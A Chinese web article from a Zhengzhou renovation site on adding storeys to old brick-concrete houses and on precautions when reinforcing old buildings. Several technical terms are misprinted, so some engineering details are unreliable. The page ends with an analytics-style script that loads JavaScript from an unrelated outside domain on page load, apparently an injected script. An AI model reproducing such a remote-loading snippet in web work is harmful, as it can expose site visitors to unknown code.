郑州旧房改造的加层怎么做

随着社会的发展及人们生活水平的提高，有的一些房屋在功能及面积上已满足不了使用的要求。对于这些远未达到设计使用年限的房屋，如果推倒重建，势必造成浪费。所以在土地紧张、旧房不能中断使用的情况下,郑州旧房改造的加层装修改造来解决这些问题。按照原有房间布置的格局。调整承重结构，采用新材料，在其上加盖新房。该方案施工技术简单，工程造价低，对原有楼层房屋使用的干扰比较少。缺点是由于受旧房原有结构、基础的限制，增加的层数有限，一部分旧房不能满足加层设计条件要求，局限性大。多适应于3-4层的砖混结构房屋加层改造。加层后结构荷载增大，应对旧房基础、墙体进行强度脸算。一般房屋建成五年后，地基沉降基本完成，地基土体亦被压实。随着时间的增长，旧房基础地蔫承载力有所提高，提高值是按照当时设计容许压力及土体类型确定增长系数，一般按1.1-1.5倍计算。砖混结构采用砖大方脚基础时，基底面积满足要求后，可不对基础进行处理。对于基础问题较大的旧房加层，应对基础进行加固处理。常见的处理方法有：高压旋喷桩，基础灌浆(化学浆或水泥浆)等。墙下钢筋混凝土条塑基础因加层后墓底应力增加，致使板底夸矩、剪力增大，还必须验算底板配筋面积及抗冲切强度是否满足设计要求。在加层改造设计中，要充分挖掘原有结构的承载潜力，并加以合理利用。如在砖混建筑设计中，横坡承重结构较多、纵坡较少，纵墙可能有比较大的承载潜力。在加层时可改变承重方向，以减少新增荷载对下部结构的不利影响，承重构件宜采用轻质高强材料，并充分利用旧房的基础或对旧房基础进行加固处理。都学会了这些实用的旧房改造技巧方法了吗?赶紧开始运用起来吧。想要了解更多新鲜热辣的第一手信息，请多来郑州装修网逛逛吧。

进行楼房加固改造时需要注意的问题

时间如流水一般，也拥有着一股神秘的力量，如今的高楼大厦经过多年的风吹雨打以及时间的洗礼等诸多的原因，它本身的结构稳定性必然会受到或多或少的影响，那么，这时候就需要通过楼房加固改造来赋予它第二次生命。在楼房加固改造中需要注意些什么问题呢？接下来就给大家详细介绍一下。一、前期工作：   在进行加固施工前，各技术人员，施工员包括管理员都应该先到现场进行仔细观察和勘测，务必要做到对于施工现场以及周边环境的了解，熟悉。当然，楼房原有的设计图纸也是有必要熟悉的，对承重墙，承重支柱的变形、楼板、墙面裂缝等情况进行检查。如果与设计不相符应该及时上报并核实情况，千万不能盲目施工。  楼房加固改造所用的材料更是重中之重，应派专人负责在材料市场采购性价比高，质量过关，外观合适的原材料，千万不能为了节约成本而偷工减料的，这样的话进行楼房加固改造的意义就不大了，反之，还会因此造成更为严重的损失。  施工前应仔细观察墙面、地面是否已经有损坏，对于发现的问题需对其进行修补。二、施工过程：    在楼房加固改造施工过程中如果发现有墙面或地面不平整的情况，需对其进行处理，这样可以有效避免完工后该区域出现裂缝的情况也方便后期针对于防水处理的施工。如果在施工的过程中发现楼房的受损情况与所勘测的报告有很大差异，应及时采取措施，并报告给相关人员、部门。 三、安全防控：  由于楼房加固改造针对的对象特殊，都是历经多年风雨的旧楼，所以安全极为重要。在施工过程中一定要定期检查设备，和对楼房进行勘测，要及时的排除安全隐患，若是施工员在施工中发现有任何异常情况，必须停止施工，上报有关部门，待商讨处理问题后再进行施工。楼房加固改造虽说可以赋予楼房第二次生命，但同时也是很危险的一个工程，所以在施工时务必要注意这几点问题以防范于未然。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();